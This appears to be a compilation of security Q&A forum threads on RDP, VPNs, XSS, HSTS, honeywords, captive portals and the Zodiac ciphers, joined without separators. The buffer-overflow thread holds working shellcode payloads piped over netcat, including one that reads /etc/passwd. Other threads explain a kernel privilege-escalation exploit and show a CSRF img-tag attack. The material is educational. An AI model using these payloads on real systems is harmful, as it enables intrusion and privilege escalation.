I think this is a very novel way to send spam.

The gmail account listed basically has set some ad text as their display name and you as the backup email. This can be done very quickly via APIs and will obviously trigger Google to send you an email from their domain (which most spam filters will trust).

No doubt Google will quickly ban the account/API key, but the attacker can trivially open/hack another Gmail account.


Windows RDP over internet I'm trying to figure out the risks of running RDP over the internet, using two windows 10 professional stations, and if a VPN is absolutely necessary to achieve good security.

From the information I found so far on the net, a leak was discovered in 2012 that allowed the creation of exploits to intercept an RDP session. I understand this leak was closed in the meantime and that you were always protected if you used Network Level Authentication (NLA).

Most other security issues seem to be focused on the client side, i.e. when connecting to an untrusted RDP session with the main purpose of stealing a user's credentials.

If we assume the following situation:

Windows 10 Professional used on host and client side
Host side with fixed IP, no DNS involved to establish connection
NLA used
Strong passwords used, changed monthly, Administrator account not active
Host machine contains confidential information

Would you not feel comfortable enough? Where do you see the biggest risk as opposed to a connection over VPN? And is there a way to increase security of the RDP connection without resorting to VPN?

I advise against exposing internal servers directly to the Internet.

Remote code execution vulnerabilities crop up too frequently for comfort and direct exposure of internal hosts.

That said you can mitigate the risks somewhat with a few steps (these are not alternatives, they are layered complementary defenses):

Perimeter firewall enforcing white list of source IPs specifically to tcp/3389 on the Windows host or hosts
Windows firewall on each of the Windows hosts enforcing white list of source IPs specifically to tcp/3389 on localhost
Either: use Remote Desktop Gateways as bastion hosts in your DMZ that are on a separate domain and put the similar restriction to 1 and 2 between DMZ and internal
OR: use SSH bastion hosts and port forwarding as above if RDG isn't a good option

These steps substantially reduce the exposure to reconnaissance or attack


How is it possible that a virus can infect the system if the browser is started with non-admin rights If I open my web browser (for example firefox) in Windows 7 with activated UAC as normal user (non admin) a virus - which uses a security leak in my browser - will only gets privileges of the normal user who started the browser.

If the Virus uses a leak in the flash player, how is it possible that the virus can setup deep in the system in places where admin rights are necessary?
Does the flash player runs with admin rights (whether the browser runs only with user rights)?

If not, how is it possible for a virus to get deep in the system through a flash player leak if it does not run with admin rights?

No virus is possible if the browser has no bug.

No escalation to admin rights is possible if the OS has no bugs.

Unfortunately, bugs happen... in both the OS and the browser. Vulnerabilities which allow a non-admin process to gain admin rights (e.g. this one) are rather common, and it is usually assumed that getting through the browser is the complex part, not obtaining admin rights. Also, with "only" the rights of the user who runs the browser, the malware can plunder your cookies and your data, and grab your site passwords when you type them; this is already quite damaging.


Is honeywords different from k-anonymity? Ari Juels and Ron Rivest propose a technqiue to strengthen password files called honeywords . Basically for each valid password they insert fake passwords (honeywords) and if somebody tries to bruteforce it can be detected .

The basic idea of obfuscating real data among fake data is crux of k-anonymity , l-diversity and other data privacy related concepts of data mining .

Any idea of honeywords is same as k-anonymity ? or are they two distinctly different ?

Actually, these concepts are conceptually quite different. I'm going to talk about $k$-anonymity, as $\ell$-diversity and $t$-closeness are related to $k$-anonymity, but can be seen as  additional measures on top of $k$-anonymity that target homogeneous representation of the sensitive attribute’s values within a group and their relative frequencies respectively.

The idea of $k$ anonymity is, that you remove primary identifying information (such as names, ssn, etc.) from a table. But there are typically still so called quasi identifiers left (such as a combination of birthdate, zip and gender) which could be linked to external sources to allow identification if this anonymized table is linked to some external source (i.e., another table containing the same and additional attriutes).

So you have to make some assumptions about how this quasi identifier (i.e., the attribute combination) may look like. Having done this, you define a $k$ and you want that every unique value combination of values in the quasi identifier that appear in the table shows up at least $k$ times.

If this is initially not the case (which is very likely), then you apply attribute suppression (you remove the entire attribute if there is no chance of achieving the desired $k$) and generalization (you define a generalization hierarchy on the attribute and switch to the more generalized version, e.g, you have $ZIP="123456"$ -> $ZIP="12345*"$ and so on) until your $k$ is achieved. There is a bunge of algorithms to perform this task. Clearly, generalization is desirable, since you preserve more information.

Consequently, the main differences between these approaches are:

In honeywords the data is assumed to be kept private, while you apply $k$-anonymity to data that is then made public, e.g., medical data for some statistical processing.
In $k$-anonymity you work on a database (table data) where you remove unique identifiers before processing with $k$-anonymization (otherwise $k$-anonymity makes no sense), while in honeywords you have $(u_i,H(u_i)$ pairs and keeping the unique values $u_i$ (since the data is not made public).
Honeywords introduces bogus data, while in $k$-anonymity you apply attributes suppression  and generalization (on the original data) until you achieve your desired $k$).
Honeywords is intended to detect something (brute forcing), but $k$ anonymization is a preventive measure before making something public (and is not intended to detect something).


Why there are so many web servers which get exploited by generating obfuscated files? TL & DR

How do those obfuscated files many users complain on this SE-site  about get on their systems? And after that, even more interesting how they get executed?
Is this caused by the way php works? Or is it a problem of preinstalled configs which need to be changed to secure a system1?

I have read many times here about people complaining about some files on their system they don't know what they do, where they come from nor how they got there.

I actually can't understand it either, so how can this be?
Is this constituted to the mechanics of PHP2?

I for example set up my webserver as fcgi-app, written in plain C which is communicating over CGI with nginx.

The FCGI daemon (under which the webhost is invoked) is in a user group that has special permissions for reading/writing to the paths where files are stored. So first of all, when a user is uploading something, my app is exactly parsing the whole HTTP package. So I can't really get how there could get something stored I don't want to be stored there. But ok, chances are high I don't know everything (of course I don't) so let us assume some one made a HTTP packet with malicious body content get through the nginx so its the input of my app. This app now doesn't notice it isn't a $WhatEverUsersAreSupposedToUpLoad$ and even puts this malicious file now to the place where all the other files are. With the same restricted access all other files have (named just this daemons group can read/write the file).

So all I can imagine how one can use such a file now to exploit my system requires a major bug in my FCGI-app resulting in

1: Some how lets an web-user change the access rights of the app it self to the files to executable AND somehow executes it
2: Lets my web app just access the file as it is supposed and then somehow uses the content to exploit the app itself

Or

3: somehow makes my app which parses its input data, make execute the parsed file in the app itself. (Since the C executable code has to be compiled I can't imagine any scenario where this could happen as long I ensure no buffers will flow over)

as I have written out all 3 points now I have to admit they sound nonesense... But what else?

Are those concerns not about their applications itself, but about the configurations of an naked OS and the apps they installed making just bypass any meassurments made to the stuff beeing worked with but some default main features of the OS are exploitable if not disabled those configurations?!

If so should I be concerned as well?

All I ever configured is disabling remote root login and restricted SSH access to key authentification only.

installed:

postgresql (restricted it to local acess by the web-daemons usergroup only)
nginx (configured it to allow fcgi with my app as execution path)
installed the latest fcgi for freeBSD supported by nginx.

I actually don't even have php on my system.

But since I'm not a security person (otherwise I would probably not ask this),

I dont know if that's the source, and it's the last thing remaining I could imagine to be causing this threat. Are there other preconfigured files in a naked install that are causing this kind of securitythreat by itself?

1This would let me assume a naked latest OS install is to be considered exploitable?!

2My assumption comes from the fact that this complaint everytime is related to php

When you pry a bit deeper in these cases, you will notice that these victims almost always use some 3rd party content management system written in PHP, like Wordpress or Joomla.

There are some problems with these:

They had lots of security vulnerabilities in the past.
There are lots and lots of plugins available for them of varying quality which also have vulnerabilities.
Uploading files is part of the core functionality of a CMS, so security-related bugs which allow to abuse this functionality unauthenticated are actually quite conceivable.
People tend to not update these systems as often as they should, so installations with unpatched vulnerabilities stay online.
There is a huge number of installations for these, so they can be easily found through automated bots.

You might wonder why are there so many problems with PHP applications? PHP is a language with several paradigms which make it quite easy for a novice programmer to write insecure applications full of XSS and SQL injections. Also, PHP files do not need to be compiled and are usually immediately accessible under an URL. A .PHP file on a webserver can be executed just by requesting them with a web browser, so when the attacker manages to upload one, they have already pwned the server.

As a C programmer, these problems affect you less, but you have a whole set of different problems, like for example having to think about buffer overflows whenever you write data to a char* or other type of array.


Is a VPN really secure at the VPN providers side? Please forgive my basic ignorance regarding a VPN connection.

As I understand it, a VPN connection encrypts all the data between my computer and the VPN provider. Thus preventing my ISP from seeing my data.

But on the VPN providers side of the connection, surely the VPN provider uses an ISP of some sort. So they send out requests I have made over their ISP, just as if I were sitting there using the ISP they pay for. And they send the data back to me, encrypted.

So on the ISP side they use, the data they send is unencrypted, so it can be understood by other sites/services.

If this is the case, am I not just pushing my data further along. Its still unencrypted but at a different end (VPNs Webside). Its only the data back to me, which is encrypted.

Thanks.

If this is the case, am I not just pushing my data further along?

Correct. A VPN is designed to give you a secure connection to the VPN provider; it essentially simulates your being physically on their network. For instance, a corporate VPN simulates being in the office physically connected to the corporate network. This is great when there's some reason to trust the VPN network more than the network you're on for the things you're doing; however, all it amounts to is substituting the VPN provider's network for the network you're on.


Should every output element be filtered, or just those which contain user-editable data? I'm combing through a legacy app updating SQL to prevent Injections and XSS vulnerabilities.  I know to apply PHP's htmlspecialchars() anything that is directly passed to a script and displayed on a page.

Should I be stripping every non-numeric database field even if it is from a generally not-editable lookup table?  I'm thinking that might provide stronger protection -- you assume someone haxored ur database and work from there.

If there is no external interface to the lookup table, then you probably don't need to scrub the data coming out of those tables for security reasons. But it might be easier to always scrub data you are presenting rather than adding exceptions.

Also, if the data in the lookup tables is safe for HTML output, what happens when you switch to CSV output? Is it still safe? Still escaped properly?

"Defense in depth". You don't necessarily assume your database has been hacked, but you certainly should be defensively programming and not assuming that the database holds no bad characters, data, etc.

I recommend that you do input validation on the data coming in, output validation on anything you are writing out, and do each of those at each layer in the system (e.g., browser-web server, application-database).


How can two parties compare whether a simple (5 letter) shared word matches, without disclosing their word to each other? I'm having some trouble with this scenario, some advice would be great.  The context is that a group of people have each been give a simple 5 letter word - for example:

Alice: ACTOR
Bob: JEANS
Dan: SAUCE
Erin: ACTOR
Fred: RELAX

How could a person within the group identify whether or not another member has the same word as them, without sharing the word itself?  Is this even possible?  My first instinct was to use some kind of hashing algorithm, but that would be simple to brute force.  Is there some kind of neutral web service out there that could facilitate this?

The problem you are asking about is called the Socialist Millionaire problem and has been discussed in research before; as far as I know there is a protocol to do this comparison without disclosing any of the two secrets and without involvement of a third party. I will edit my answer with a full explanation as soon as possible.


How Could A Diffie Hellman Key Exchange Work on SMS Apps on Two Different Mobile Devices? How Could A Diffie Hellman Key Exchange Work on SMS Android Apps on Two Different Mobile Devices? It is understandable for a client browser communicating with a server, the internet data path is continous unlike SMS that is relayed via GSM network.

Yes, that's possible . Why not?

Diffie-Hellman only demands you exchange data. There's no restriction on how that data gets from A to B. You might use the internet, SMS, pidgeons, shout it across the marketplace, morse it, use skybeamers to write it into the night sky…

How you encode the couple of bits into SMS, letters attached to pidgeons, buzzwords shouted across the market place, letters morsed, or skybeamer figures is up to you. In the end, Diffie-Hellmann just requires you to send a few numbers around.


Buffer overflow to server I have a server, for reference: pastebin/ghJX69uH, that I can netcat to and it will ask to input a msg.

I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the /bin/sh but it does not spawn a shell. Here is my code:

echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 127.0.0.1 1111

It's a simple buffer overflow with [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

The first image shows that the return address is bffef3ac which goes to NOP slide, so all is OK! The second image gives SIG FAULT with no shell, nothing happens.

Whats going on here? I had a look at ebp and it showed something weird, my \x90 followed by (what should be my shellcode) looks different? Any insights on what could be wrong or how to go about this

0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f
0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac
0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac
0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000

Edit 1: Format of code is from numberphile, shellcode is from http://shell-storm.org/shellcode/files/shellcode-827.php, which I ran and spawns a shell. I tried adding padding (I put A's) as suggested between shellcode and return address, but something strange happens:

New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 127.0.0.1 1129

0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

Edit 2: So I managed to make it print /etc/passwd but I still can't get the shellcode working to spawn a shell!

Works: /etc/passwd

echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 127.0.0.1 2010

Doesnt't work: /bin/sh

echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 127.0.0.1 3003

Putting this in the form of an answer to take advantage of extra spacing and formatting. I can't try to replicate your issue right now but here's what I would try.

Anytime I've ever written an exploit for a Buffer Overflow my code would go NOPS + EIP POINTER + NOP BUFFER + SHELLCODE

For example :

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

Where "\x8a\x32\x4e\x4e" would be your return address

Secondly, I would suggest testing for bad characters that may cause your exploit to crash. I don't see any of the usual suspects 0x00 0x0A or 0x0D but there may be a character in there that's causing the exploit to fail.

What is the purpose of "\xac\xf3\xfe\xbf"*10 code - I assume this is return address but why are you multiplying it by 10?


Secure Flag and HSTS in HTTPS Only site If I had a site only available in HTTPS should I still enable HSTS and Secure Flag?

site is only available in HTTPS

HSTS in this case at least notifies that browser that the site will not be available in HTTP for the foreseeable future. Once the browser knows this (i.e. after the first visit) a downgrade attack like sslstrip will fail, because the browser will not connect with insecure HTTP to the site.

The secure flag for cookies will probably not provide any security benefit because it was already enforced that the site is available through HTTPS only. But it does not harm either and is a cheap feature so in the spirit of multilayered security (i.e. add another layer in case one gets broken) you better add it.


How Recaptcha Detect Fake User-Agent I'm trying to understand how can recaptcha__en.js detect fake User-Agent, for the test you can try the demo here with addon User-Agent switcher  installed, for logged in user it will get score 0.9 no matter what is The UA but here here Score I get without logged in:

Fresh Old firefox 46, Original UA: 0.3 - 0.7
Updated browser with Original UA: 0.3 - 0.7
Updated browser with spoofed UA: 0.1

As you can see even with updated browser but If I change the UA it will get score 0.1 or marked as bot/spam, so is there other way to detect user-agent other than javascript variable navigator or how can recaptcha detect fake UA?

Certain browsers have certain features. The service runs JavaScript they provide you, so they can run a lot of feature tests in the actual browser. This can be used to validate your userAgent string.

For example (purely hypothetical), if everyone knows that Chrome after v50 supports CSS variables, and any Chrome after v40 no longer support the old vibration API, but your browser claims to be v55 and seems to support both features, you're busted. A quick visit to https://caniuse.com/ offers numerous "smoking guns" one could use to detect such version/feature correlation.

There's also a lot of web APIs that only one or another browser supports, like -ms-browse CSS and microsoft browsers. This is basically the reverse of the web developer advice "don't browser detect, feature detect for forward compatibility". By doing both, recaptha can spot liars, unless you're so good at spoofing (altering JS and DOM internals along the way) that you might as well be using the browser you are pretending to be, and at that point it can't/won't care.


How is a exploit code mmaped in user space executed in kernel space? I am reading about a Ubuntu-12.10 security exploit CVE-2013-1763 which describes the vulnerability of stack buffer overflow that can be exploited to escalate privilege of a process and gain root access.

The hardcoded exploit is given on the link:
https://github.com/spinlockirqsave/examples/blob/master/hacker/ubuntu_cred/main.c

I have a couple of questions regarding the same:

How was sdiag_family=0x37 decided ?
What is the exact control flow, how does the privilege escalation code x() which is mmaped in user space executed once the socket request has been sent ?
Is there any relation between the sdiag_family=0x37 and mmap_start=0x1a000 values ?

If you look at the affected code (from kernel 3.7.0, lines 115 to 132):

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
        int err;
        struct sock_diag_req *req = nlmsg_data(nlh);
        const struct sock_diag_handler *hndl;

        if (nlmsg_len(nlh) < sizeof(*req))
                return -EINVAL;

        hndl = sock_diag_lock_handler(req->sdiag_family);
        if (hndl == NULL)
                err = -ENOENT;
        else
                err = hndl->dump(skb, nlh);
        sock_diag_unlock_handler(hndl);

        return err;
}

The sock_diag_lock_handler() function is accessed with the req->sdiag_family value as index. The index comes from the userland. The called function code is:

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
        if (sock_diag_handlers[family] == NULL)
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                                NETLINK_SOCK_DIAG, family);

        mutex_lock(&sock_diag_table_mutex);
        return sock_diag_handlers[family];
}

So we see that the provided index is used directly to access an array called sock_diag_handlers[], without any check on the array length. The array contains 40 elements, but the index in the exploit is 0x37, i.e. 55 -- so the code reads bytes which are 16 entries past the array end (i.e. 128 bytes, since each entry is a pointer and the exploit is apparently meant for a 64-bit machine).

The returned value is used by the caller (__sock_diag_rcv_msg()) as a pointer to a structure, that contains, in particular, a field called dump() which is a function pointer -- and the code invokes that function by following the pointer.

The exploit relies on the presence, in the kernel memory space, of a suitable pointer at offset 55 of the array (not part of the array, but of some other data which just happens to be there). That pointer points to a benign and normal structure within the kernel space, that is meant for something completely different; but the faulty code will interpret that structure as a struct sock_diag_handler and read what it assumes to be the fault field, which happens to contain the value 0x1A000. So the code will "jump" to that address.

All that remains for the exploit is to make sure that there is executable code at the 0x1A000 address. That address is part of the user space; the userland exploit can reserve that space with a mmap() call, and put some code in it. Here, codes that makes the currently executing process "root".

The important point to understand is that "user space" and "kernel space" coexist. When a process it executing, it "sees" memory as a collection of pages, some of which being mapped to actual RAM. The "kernel space" is a subset of these pages. The mapping is done with the MMU, and it enforces access rights: when the code that executes has "user privileges" (as opposed to "kernel privileges"; we are not talking about root vs non-root here), any attempt at accessing pages that are marked as "kernel space" will trigger an exception (segfault). When the process performs a system call (e.g. the send() call), it jumps into kernel space and temporarily acquires kernel privileges, at which point all the kernel space becomes reachable. But the mapping of pages has not changed; the user land pages are still there, and, crucially, while user privileges are not sufficient to access kernel pages, kernel privileges are more than enough to access user pages. Therefore, nothing prevents code with kernel privileges to jump into code that happens to be in user space. This is what happens here.

So the exploit control flow is:

Process sets up its special code at address 0x1A000.
Process performs a send() system call with some parameters which lead to execution of __sock_diag_rcv_msg() in kernel space, with kernel privileges.
That function erroneously follows what appears to be a function pointer (but is not), and jumps into code at address 0x1A000. That code is in user space (i.e. it was built by the exploit with a perfectly legitimate mmap() call), but executes with kernel privileges.
That exploit code uses the kernel privileges to change the current "identity" of the executing code. That identity (UID) is simply a value in some table in kernel space; since the code has kernel privileges, it can simply change the UID to 0, which means root.
The exploit code returns, so execution gets back to __sock_diag_rcv_msg(), who is very happy about the whole proceedings, and returns. Ultimately, the system call terminates, and the user land process regains control, with user privileges.
However, the kernel now thinks that the process runs as root. The exploit code simply launches a shell with these newly acquired privileges.

The 0x37 and 0x1A000 are simply values that "work well" in the case of the specific kernel version that the exploit is tailored at: the attacker noticed that in the kernel space, 128 bytes after the overflown array, there was a pointer to a kernel-space structure whose pseudo-dump field contains a value that, interpreted as a pointer, points to an address which is low enough to be in reach of a normal userland mmap(). The data we are talking about here (the overflown array and the structures that follow it in RAM) are part of the "constant data" segment: these are normal, constant data structure filled when the kernel was compiled. Thus, they may change when a new kernel is compiled, but all instances of the affected kernel will be identical in that respect -- which is why the exploit is specific to a kernel version (here, the one shipped with Ubuntu 12.10 in 64-bit mode), but will work on all systems that use that kernel.

Other affected kernel versions, or other compilations with distinct options, may need different values for the sdiag_family and mmap_start, but the conditions on a suitable structure are not hard and chances that there are many other appropriate combinations. (Or at least there were, since the kernel has now been fixed in that respect, and won't do any access past the array end, which avoids the whole issue.)


The Problem with Changing All Passwords for HeartBleed One thing that's been bugging me in relation to the discovery of the Heartbleed OpenSSL flaw is the recommendation that everyone should run to their computers in a panic and change all of their passwords right now. Considering that there probably still are sites out there that haven't yet upgraded their OpenSSL version to fix the issue, won't changing all your passwords just leave you vulnerable to having your new passwords stolen? This could be especially troublesome as people tend to reuse the same passwords across multiple sites.

In summary, my question is - how can users adequately protect themselves at this point in time?

I guess the only thing users can do is:

Use a different, strong, randomized password for each account (aiming for ~128 bits of password entropy is a good strategy, as explained in this answer);
Change the password when a website implements the OpenSSL security patch.

Using a password manager makes sense. I find KeePass Password Safe pretty good.


PDF Digital Signature I got free certificate from Comodo and installed on my Windows. Now I'm trying to sign PDF document using this certificate, but get message: "signature validity is unknown":

Why is this? How I can validate my signature?

PS. Adove Reader XI Version 11.0.07

"Signer's identity is unknown because it has not been included in your [...]"

Apparently your PDF client is not happy about your certificate because it should have been included in your something. I suggest expanding the window in order to read the word which would follow "your", because that word will probably be a good clue about what your problem actually is.
If your PDF reading software is Adobe Reader, you may want to read this page, and to consult the Adobe Approved Trust List members: these are the CA that Adobe recognizes as valid for issuing certificates to sign documents. I see no mention of "Comodo" in that list, which can go a long way towards explaining your problem. However, Sectigo is in the list which was formerly know as Comodo.


Firefox 68 --- any changes affecting CSRF capabilities? My Ubuntu 18 system did an upgrade to Firefox 68  (presumably from 67.x).

I have a simple XSRF demo that I use for class --- the demo is extremely simple: I have a login program that sets a sessionid cookie once there is a successful login.  To simplify the demo, the cookie is set with a hardcoded value.

Then, I have an "add user" server app (a plain'old CGI program) that is intended to add the user only of there is a log in --- that is, if the sessionid cookie contains the expected (hardcoded) value. The program simply checks:

if (cookie["sessionid"] == "the-hardcoded-value")
{
    // execute SQL: insert into users values ........
}

Then, I have a third page (on a separate domain) that just has an embedded img tag that looks like this:

<img src="https://mydomain.com/cgi-bin/add_user.cgi?username=AddedViaXSRF" />

(the img shows as a little empty square on the displayed HTML page)

The thing worked like a charm.....  until this morning.  It just won't work with Firefox 68.  I check the server logs (the "add user" program logs the requests that it receives, including the cookies) --- it is not receiving the sessionid cookie even though I see, via the menu Web developer → Storage Inspector, that the cookie has been set in the browser. I also checked: the sameSite attribute is not set (httpOnly is, because the login program sets it).

The demo still works with Firefox 61  (I tried from a virtual machine --- two, actually:  a Windows 7 with FF 61, and also an unpatched Ubuntu 18.04.1 that happens to also have FF 61).  But I'm fairly certain that it was also working on FF 67.x  (I had tried the demo a couple days ago, in preparation for today's class where I showed the demo).

Is it really some change in FF 68 that's preventing this simple "classic" img-based CSRF attack from succeeding?  (if so, what is the change?  I can't see anything remotely close to related in the list of security fixes for FF 68)

[[EDIT]]: I just tried with FF 65 (a "live booted" Ubuntu 18.04.2 system), and the demo works without a glitch (i.e., the XSRF attack succeeds in adding a user to the table).

Firefox 67 and 68 added multiple possible settings for privacy and Third-Party-Cookie-Blocking. As far as I understand, your demo seems to include usage of Third-Party-Cookies. You can find the information at the information page about content-blocking from Mozilla. The main reason for the change were protecting against being tracked by Third-Party-Advertisers and similar.

Further information:

When you open a page at evil.com, all content loaded from evil.com is considered First-Party-Content. Content loaded from other domains, is called Third-Party-Content. Depending on your privacy settings, Third-Party-Content might be loaded without cookies or not at all (for example if the domain got on a black-list). Since your (fake-)image from demo.com is considered Third-Party-Content, depending on your settings, the request might not contain the cookies of demo.com.


Long-lived SSL connections to dynamic IP addresses I'm seeing some odd behaviour on my proxy server logs since I started blocking direct outbound connections to port 443 (thus forcing applications to use the proxy server for HTTPS connections).

I'm seeing lots of low-traffic (in the range of 0 to 20K bytes), long lived (in the range of 1 to 25 minutes) outgoing connections via the proxy server to port 443 on IP addresses in dynamically allocated (consumer ISP) ranges.

The logs show that these connections are being made to the IP, not to a host name that resolves to the IP (so an example would be "CONNECT 1.2.3.4:443" and not "CONNECT dynamic.example.com:443" in the Squid log).

Most of my users have Skype (it is a business tool for them), so I was wondering if this pattern of connections is Skype or something else that I am not aware of.

If you have admin access to the users' systems you can start by dumping the list of open sockets and connected processes with "netstat -nab" on Windows or "netstat -nap" on Linux.  Just look for the source and destinations you are seeing in the proxy.  That may make it clear what is connecting.  You can also try connecting to the server side to collect its certificate.  The openssl s_client command is good for this.

openssl s_client -connect IPADDRESS:443 | openssl x509 -text

Hopefully it will be instantly clear if they are benign (Skype or other semi-legitimate traffic) or malicious (command and control channel) connections.


What is the best way to protect a captive portal againt MAC spoofing What is the best way to protect a captive portal againt MAC spoofing?

The MAC Address appears one of the only ways to distinguish wireless clients from one another, anything one authenticated client sends can simply be spoofed by a rogue client. The IP address, MAC address, and any other part of a request can simply be spoofed, so how is the best way to protect a captive portal against such attacks?

I am not sure of any commercial implementation, but I saw an interesting idea that you can track physical proximity using signal strength, which AP, etc and determine that if the location suddenly is very different, that is likely a spoofer. I also found an interesting paper on spoofing detection using a fingerprinting technique.

The captive portal will be a web page. You may or may not be blocking all other ports before authentication, let's assume you can only get to 443 (80 redirects to 443) and only allow HTTPS. At this point they can only get to your captive portal page. Once they agree to the terms, log in, etc. you then can open up the other ports and allow web browsing anywhere they need to go.

If you are in a corporate environment, you will probably want to be implemented 802.1x, certificates, VPN, etc. to let them go anywhere and only keep the minimum ports open for authenticated users. VPN either at the IPSec or a higher layer would make the spoofing issue less likely. This allows you to restrict access where it won't matter if they spoof the mac, because they still can only get out to the VPN, and would need to attack the VPN.

If you are a hotel where you are tracking people by room number, spoofing the MAC would give someone a free ride, but it ends after the time period for which the legit user paid. You could implement something at the web proxy level to check certain cookies, headers, etc that will be more client specific.

The main security challenge of wifi is that your on an open network unless you are doing per-host type encryption (e.g., VPN). A MAC address should never be considered sufficient to identify someone.

Here are some resources related to security and captive portals:

How To: Using m0n0wall to create a Wireless Captive Portal - Captive Portal Management (2004)
Discussion on MAC spoofing mitigation for PacketFence Captive Portal Systems
This sec.SE post is also relevant


Why haven't (most of) the Zodiac Killer's letters been decrypted? The Zodiac Killer was a serial killer in the late 60's and early 70's.  The twist is, he would frequently taunt the local press with cryptic letters.  Four of these letters were actually encoded, but only one has been cracked to date.

I'm doubtful that the Zodiac Killer was a master cryptographer, at least not to the degree that one would be considered today.  So why haven't his remaining three letters been cracked yet?  Is this a technical problem, or is it just not being worked on?  Are the letters available to the public for someone to try their hand with?

The Zodiac killer ciphers are an interesting case. As there were four ciphers sent to the local papers, I will address each in turn. They do share some common traits however.

They are each their own cipher, so the 'solution' used for cipher 408 cannot be applied to the other messages.
Each message has a unique character count.
The Zodiac Killer sent these ciphers to newspapers with accompanying plain text messages threatening to commit additional murders (including killing school children) were the ciphers not printed in the papers.

 13

The message containing this cipher was sent to the authorities postmarked April 20, 1970.

This cipher was prefaced with the plain text "my name is". While the cipher contains 13 symbols, 8 of those symbols are unique. Attempts have been made to find a solution to this cipher using modern computing techniques, however the message is just too short and the possibilities are just to many to determine what 'solutions' are valid candidate solutions.

 32

The message containing this cipher was sent to authorities postmarked June 26, 1970.

This cipher accompanied a plain text message claiming that when decoded this cipher would lead to the location of a bomb he had buried and set to go off at a later date. The cipher was never decoded and the alleged bomb never found.

The cipher had 32 symbols, 29 of which were unique - leaving pretty much nothing to analyze, essentially making it a one time pad cipher.

 408

The messages containing this cipher were sent to the Vallejo Times Herald, the San Francisco Chronicle, and The San Francisco Examiner postmarked August 1, 1969. Each letter included one-third of the 408 symbol cipher.

On August 8, 1969, high school teach Donald Harden and his wife Bettye of Salinas, California, solved it, however the solution did not work for the last 18 symbols of the message. The cipher was a homophonic substitution cipher, but not a simple one. Rather than using 1 symbol = 1 letter substitution, The Zodiac Killer assigned multiple symbols to each letter. It is theorized that the last 18 letters of the cipher are filler symbols added to ensure that the three papers received equal portions of cipher text. There have been attempts to find a meaning for this last potion of the cipher "EBEORIETEMETHHPITI" via anagram, however there are 740 billion ways to anagram 18 letters and nothing meaningful has come of these attempts.

It's notable however that the rotation of symbols for each letter was consistent across the cipher until the last 18 letter, lending credence to the filler explanation. It's also interesting to note that The Zodiac Killer appears to have been a bad speller, or perhaps they struggled to follow their own code keys as there are spelling errors throughout the text. It's interesting however that these errors always seem to be made where the incorrect symbol resemble the intended symbol. (e.g. 'MOAT' instead of 'MOST' where the symbol for 'A' is a filled in triangle and the symbol for 'S' is a triangle with a dot in it.

 340

The message containing this cipher was sent to authorities postmarked November 8, 1969.

There are a number notable differences between the 340 cipher and the 408 cipher which make 340 more difficult to 'solve'. The first difference is that it is 68 characters shorter, giving a substantially shorter message to analyze. 7 symbols which appeared in 408 were removed from 340 and 16 entirely new symbols were added in. These changes in addition to the shorter message have posed a real problem for analysis efforts.

Methods of analysis:

Symbol repetition by row and column - 340 has many rows but no columns without repeating symbols, which supports that the text is meant to be read horizontally. There is also a pattern, where the first three rows contain no repeated symbols, and then exactly at the half way point, another three rows which contain no repeating symbols. This has spawned a theory that the original cipher was created twice as wide, then cut in half vertically to put one side above/below the other as a means of obstruction.
Repeating Bigram analysis - when comparing 408 to 340, it is notable that 408 has 62 bigrams where as 340 only has 25. This is interesting because if you look at bigrams in randomly scrambled cipher text, you will normally get around 20 in this sized text. This would not support a horizontal text pattern. Additionally, if you cut the text in half - the first half has significantly more bigrams than the second half. This would indicate that something in the cipher is disrupting the naturally occurring bigrams.
